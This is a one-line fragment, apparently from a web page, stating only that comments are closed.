Comments are closed.